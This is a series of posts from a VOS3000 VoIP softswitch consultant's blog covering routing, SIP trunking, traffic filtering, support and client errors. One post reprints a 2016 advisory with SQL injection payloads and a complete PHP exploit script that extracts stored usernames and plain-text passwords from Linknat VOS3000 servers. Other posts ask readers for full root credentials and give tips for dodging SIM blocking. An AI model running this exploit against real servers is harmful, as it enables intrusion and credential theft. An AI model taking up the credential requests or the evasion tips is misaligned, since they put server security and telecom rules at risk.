Send Traffic in “Domain Name” instead of IP in VOS3000!

Hello all,

Many company or carrier use domain name instead of ip, because sometime they change ip frequently for many reasons. So, people always question me is it possible to send calls to a domain instead of IP Address, the answer is “Yes”. The configure is also very simple, same as ip – just use the domain name in the ip section.

You can see the images below to understand easily.

Please knock me in whatsapp for more help related vos3000: +8801911119966


SIP Trunking with VOS3000, SIP Trunking BD IPTSP, INDIA PRI LANDLINE, TWILLO VOS3000 Setup, SIP Register VOS3000, GK Register GW VOS3000!

Hello all,

After long time i an writing again, due to time shortage now a days its hard for me to get idle time for blog writing.

Many clients and friends asked me for sip trunking solution through vos3000, its very easy in VOS3000 version. Sip trunking seems very popular now a days, many people want to use sip login to send calls. This can be done from VOS3000 from Registration management. You can login to any of your sip user via sip trunking with ip or domain name. And you can send calls in those sip login accounts from your vos3000.

See the images above from where you can login SIP trunking.

sip truning vos3000

See the images where you can see one GW is registered as SIP GW.

SIP Trunking Solution- VOS3000 SIP registration

See the image which from Gateway Status.

Please knock me in whatsapp: +8801911119966 for more details & help.


Sim Blocking Reduction| VOS3000 Calls Blocking, Blacklist, Wholesale Traffic Block, Filter short/long caller, Filter Junk calls |VOS3000 Optimizations.

Hello all,

Got many request from many clients and also associates that how to block wholesale traffic and how to prevent sim blocking! Honestly there is now way to avoid sim blocking 100% except few people telling lie for selling their softwares!

But there is few technique you can use to reduce sim blocking! Most of the clients from pakistan and African countries facing issues.

Please remember: This blog is written by only my own views & my own research, you can use it only to give a try.

1. Filter Wholesale Traffic – its also not 100% possible but can try few ways:

  • Block Numeric calls in VOS3000:

  • Block other codec traffic in VOS3000:
  • Block Mobile number based pin/Long pin/Caller in VOS3000:
  • Blacklist Junk Calls:
  • Blacklist/Filter bad calls:
  • Make your own whitelist/bind/allow only dialer calls – filter route:

2. Use accurate Encryption/VPN Solutions:

  • Use Latest VPN:
  • SBO/Bandwidth Optimization really needed?
  • Expense Money on real product:

3. Collect Sim Blocking Information:

4. …………

—— To be continued, this page will be updated regular and each point will be describe in details in different pages. I will update time to time as its not possible to write everything together. Need many kind optimization to make the sim life more higher and increase your business to avoid loss.

Please knock me direct in whatsapp for more updated info: +8801911119966

Block Numeric Calls in VOS3000 | Filter Wholesale/calling card/operator traffic in Easiest way!


Here i am writing how to block numeric calls, normally this isn’t 100% accurate to do as many retail dialer owner use number pins, by this way they will be blocked too but you can ask your client to use alpha pins as most of dialer or retail traffic owner do it now a days.

Normally Calling Card traffic or mobile operator number traffic have numbers as they want to show their cli, but trader sometime mixed this traffic with non cli routes!

This is way you ALLOW number calls, this is not for non cli gateway owner, this is for people who want to send number calls to CLI route and alpha calls to NON CLI/TDM route. So they can make margin from those.

This is the one for non cli vendor or gateway owner, who want to block number calls in their gateway. You can simply forbidden them by this way. By using * in VOS3000 is basically mean all numbers after that or anywhere if that number exists. So, by using it none of the number calls will hit in your gateway.

Most important: many bad/old VOS3000 have those options but not working, if you need working versions then must let us know, we can help you!

What will be the benefits:

1. You can be sure number calls are nit connecting. (Remember some clever people convert number to alpha and also codec to make their calls look like retail). But you can be safe at least 80%

2. Those types call will not hit gateway and your ports will not be blocked! So your ports will be 100% optimized and get more minutes!

3. Many more….

Please knock me directly in whatsapp: +8801911119966


Faster Support for VOS3000, Easy Troubleshoot for problems!

Dear All,

When someone face issue at VOS3000 Server or any support required few things you need to prepare first. Without that its not possible to give instant support. I am sharing those serially,

  1. Give your full server credentials, due to security we & also many server provider do not keep track or record of server passwords and no Backup Passwords kept by us. So share full IP, VOS3000 Client password, UUID code, Server root access.
  2. Must keep Screen sharing software installed if you wish to see the solution or if you need basic training help. we suggest to use ANYDESK, due TEAM VIEWER have time limit for personal users to connect another pc. It get disconnected first, so use anydesk, here is the download link:
  3. If you already done basic training and see calls not connected then please first go to “Data Query” then “CDR” then filter and see what error is showing in the “Termination Reason”. If we are unable to reach desk then this will help to sort out issues, Because most of the problems can be sorted after you tell or see what is the issues showing in “Termination Reason”. Avoid “Illegal Calls” that is normal, if you have questions about illegal calls read my other blog where i shared about “illegal calls” . So follow the images below.
from here you got to CDR.
here you can see Termination reasons and easily you can identity your problems.

If you follow this way, support will be much much faster and it will be 80% less time consuming for both side.

Please knock us anytime in whatsapp for any kind technical issues: +8801911119966


VOS3000 Concurrent Call Load Test with MULTAHOST Server!

Hello All,

This is one of very important part i am going to write about VOS3000 Server. Before VOS3000 Older versions mostly worked in 32 bit, so in case you used higher RAM but server got extra loaded, like vos3000, and some also works mainly 32 bit or custom way they worked on 64 bit server. VOS3000 built on pure 64 bit system – if it can be done with perfect Installation with neat and cleanly then you can run good volume calls. We also suggested before to use Centos minimal versions, so no extra unnecessary apps get installed. This will make the Server little more faster and there are many teaks which need to apply. Yesterday we tested one server with 5000 call loads and works very well without any single issues – many people waste money on server config and use higher config server. If proper way and all teaks done in Operating system then you never need higher config and can save good amount money monthly based.

Almost 5000 Concurrent Calls running in MULTAHOST Dedicated Server with VOS3000

If you see the Image you will able to see almost 5k cc calls running and Server RAM load is near about 4 GB only where 16GB Ram server is used, this is only happened due to correct OS Choose, Correctly tweaked, only required centos plugins installed, fully optimized and clean full featured real 64 bit VOS3000 Installed in Expert Hand.

CallCenter Traffic Running, Code is G711-GSM where more B/W used, MULTAHOST Server!

You can see in the image, G711 codec used which use high B/W, its running CallCenter Traffic, CLI CC traffic, so all call connected and very High CPS Hit Coming to the server which load normally many peoples server cant take. But our system works perfectly without any error, because of our expertise. You can see there is no Red mark or CDR on Queue as well. Our Tweaked server with clean installation server where other VOS pass hardtime for 2000 concurrent calls, our Server Can run 5000-8000 Concurrent Calls easily. So, if you are planning for high CPS CallCenter Traffic then let us know for help.

Again it will save your monthly cost from Server! which is not small at all, so use exact required server. For choosing server OS or Server config please read our blog:

For any kind help or support please knock us in whatsapp: +8801911119966


VOS3000 Client “Verify Version Failed” Error.


Sometime VOS3000, VOS3000 , VOS3000 Client Shows Error “Verify Version Failed”.

  1. The main reason is after VOS3000 Version all the client of unofficial versions are modified due to security from core developer. Also some hacker made their own client software as well to get all the data which will input in the client. So, Each VOS3000 vendor Have different different Client version, one is not work with another most of the cases. So this is one of the main reason “Verify Version Failed”.
  2. Now if you try 3.2 Version client software for 4.0 Login or different versions to another versions login info you entered then also this error can come.
  3. Another Issue is, if there is License error, also this issue can happen, in previous experienced we have seen sometime there is some attack came from China and they made some modification in some file and license not work properly. That time also it will show “Verify Version Failed” error.

VOS3000 use core developer client software, after that all are modified client. So please download your client accordingly, also be careful about virus/malware detected client. All our client software are completely clean and malware free/secured. If you face this issue and need help please contact us via whatsapp: +8801911119966

Downloading Malware Free VOS3000 all version client software link is:


How to fix VOS3000 client error “missing msvcr71.dll file”


Sometime after VOS3000 Client Installation it shows ‘msvcr71.dll file missing’ error, in that case you have to download the Latest DLL file from the internet. You can Search DLL file with its name and download from any authorized website. We are also attaching .dll file in our website but sometime it shows Virus or not safe. So always better Download latest one and put this file to C:\WINDOWS\system32 directory. Just simply copy and paste that file in system32 directory.

msvcr71.dll file download link:

If still you are facing issue with VOS3000 Client login then contact with us.


EMP Start Failed in VOS3000 Server SSH, How to solve ?

Hello All,

# service empd start
Starting kunshi emp service: [FAILED]

Many of you face issue EMP Start Failed after giving the command for EMP, There are many reason, I will Describe now one major issue. VOS3000 Emp do not support all kernel versions of Linux. Mostly used OS for VOS3000 is CentOS, Centos 5.11 is no more supported anymore by centos, so its difficult to get it from any datacenter but possible. Need to Fix Repo file in that case. Also Centos 6.10 or Centos 7 also not supported many versions of VOS3000. Mainly emp not start due to kernel issue. without emp start you can not start MBX. In that case you have to downgrade Kernel to supported kernel or need to upgrade kernel to supported one. I am sharing emp supported kernel list here in attached file. So you can upgrade and downgrade easily.

For Upgrade or downgrade Kernel version you can search in google, there are many easy manual for that.

emp supported kernel list

Some important commands you need to know for kernel issue with vos3000.

You need to use standard rpm command to list installed software. Type the following command at shell prompt:

$ rpm -qa kernel
Output: kernel-2.6.18-4.1.15.el5 kernel-2.6.18-8.1.14.el5 k ernel-2.6.18-8.1.10.el5

If you need more help just whatsapp me: +8801911119966

HOW VOS3000 Get Hacked by SQL Injection Script, prevent Hacking!

Linknat VOS2009/VOS3000 SQL injection

From: Osama Khalid <osama () codinghazard com>
Date: Thu, 19 May 2016 16:52:54 +0500

A SQL injection was found in Linknat VOS3000/VOS2009, a popular VoIP
softswitch, that could allow remote attackers to gain access to the
credentials stored in plain-text.

Application: Linknat VOS3000/VOS2009
Versions Affected:,,
Vendor URL:
Bug: SQLi (with DBA privileges)
Type: Remote
Resolution: Fixed, upgrade to or Clean Version
Reference: WooYun-2015-145458 -

The SQLi reported is time-based blind. Since it is not an in-band SQLi, the
results can be gathered from the output of welcome.jsp during the same

(1st request)

POST    http://target/eng/login.jsp
PARAM   loginType=1
        name=' union select 1,2,@@version,'hello',5,6#
        pass=' OR ''='

(2nd request during the same session)

GET     http://target/eng/welcome.jsp
RESULT  0|' union select


# Linknat VOS2009/VOS3000 SQLi exploit
# DISCLAIMER: The exploit is to be used for educational purposes only
#             The author would not be responsible for any misuse
# AUTHOR:     Osama Khalid
# DATE:       19/05/2016
# REF:

if ($argc < 2) {

$host         = $argv[1];
$column_one   = isset($argv[2]) ? $argv[2] : "loginname";
$column_two   = isset($argv[3]) ? $argv[3] : "password";
$table        = isset($argv[4]) ? $argv[4] : "e_user";
$other        = isset($argv[5]) ? $argv[5] : "";

function banner() {
    echo "########################################\n";
    echo "#                                      #\n";
    echo "# Linknat VOS3000/VOS2009 SQLi exploit #\n";
    echo "#                                      #\n";
    echo "#             Osama Khalid             #\n";
    echo "########### ###########\n";

function usage() {
    echo "\n";
    echo "php vos3000.php [HOST]\n";
    echo "php vos3000.php\n";
    echo "php vos3000.php [HOST] [COL1] [COL2] [TABLE] [OTHER SQL]\n";
    echo "php vos3000.php table_schema table_name
information_schema.tables \"where table_schema = 'mysql'\"

function curl($url, $post = array(), $cookies = null, $header = false) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($curl, CURLOPT_HEADER, $header);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    if ($cookies != null)
        curl_setopt($curl, CURLOPT_COOKIE, $cookies);
    if (count($post) > 0) {
        foreach ( $post as $key => $value)
            $post_items[] = $key . '=' . urlencode($value);
        $post_string = implode('&', $post_items);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string);
    $data = curl_exec($curl);
    return $data;

function query($host, $query) {
    $data = curl("http://$host/eng/login.jsp";, array(
            "loginType" => 1,
            "name" => "' union " . $query . "#",
            "pass" => "' OR ''='"
        ), null, true);
    preg_match_all('|Set-Cookie: (.*);|U', $data, $matches);
    $cookies = implode('; ', $matches[1]);
    $data = curl("http://$host/eng/welcome.jsp";, array(), $cookies, false);
    $parts = explode("|", trim($data));

    if (count($parts) < 7)
        return false;

    return array($parts[3], $parts[4]);

function ascii_table($data) {
    $keys = array_keys(end($data));
    $wid = array_map('strlen', $keys);
    foreach($data as $row) {
        foreach(array_values($row) as $k => $v)
            $wid[$k] = max($wid[$k], strlen($v));
    foreach($wid as $k => $v) {
        $fmt[$k] = "%-{$v}s";
        $sep[$k] = str_repeat('-', $v);
    $fmt = '| ' . implode(' | ', $fmt) . ' |';
    $sep = '+-' . implode('-+-', $sep) . '-+';
    $buf = array($sep, vsprintf($fmt, $keys), $sep);
    foreach($data as $row) {
        $buf[] = vsprintf($fmt, $row);
        $buf[] = $sep;
    return implode("\n", $buf);

echo "\n";
echo "Target:    $host\n";
echo "Column #1: $column_one\n";
echo "Column #2: $column_two\n";
echo "Table:     $table\n";
echo "Other:     $other\n";
echo "\n";

$results = array();
$count_result = query($host, "SELECT 1,2,COUNT(*),4,5,6 FROM $table
if ($count_result) {
    $count = intval($count_result[0]);
    echo "Found $count rows...\n";

    for ($i=0; $i<$count; $i++) {
        $q = "SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table
$other LIMIT " . $i . ",1";
        $result = query($host, $q);
        if ($result) {
            echo "R" . ($i+1) . "]\t" . $column_one . " = " .
hex2bin($result[0]) . ", " . $column_two . " = " . hex2bin($result[1]) .
        } else {
            echo "Error retrieving row " . ($i+1) . "\n";
        $results[] = array($column_one => hex2bin($result[0]), $column_two
=> hex2bin($result[1]));

    if (count($results) > 0) {
        echo "\n\n" . ascii_table($results) . "\n";
} else {
    echo "Error retrieving row count";


From 2016 People using some sql injection soft wares to hack VOS3000, We have our own security system from that time, we updated our security system too strong now, my work focus was always for security for voip soft-switch. Most of the time i gave free advice or shared information as much possible free of cost. Still there are lots of dirty things running around, so please be careful always and know more. Otherwise you will never able to do good business ever. Now-a-days People using hidden scripts or malwares in VOS3000 Client software to hack VOS Server.

For More Help Knock me in whatsapp: +8801911119966 – i will do help all the ways.

VOS3000 Manual/Guide/Details in English

Dear Readers,

This post is very Simple, Whoever you are looking for VOS3000 Version Manual, You can download it from here, Its official Manual for VOS3000 This is complete English manual for vos3000 2170.1 version.

Here is the download link:

If you have any issue or if you need any kind help then please let us know. Stay tuned for more VOS3000 Updates.

VOS3000 Manual/Guide/Details

Dear Readers,

This post is very Simple, Whoever you are looking for VOS3000 Version Manual, You can download it from here, Its official Manual for VOS3000 This is complete English manual for vos3000 2140 version.

Here is the download link:

If you have any issue or if you need any kind help then please let us know. Stay tuned for more VOS3000 Updates.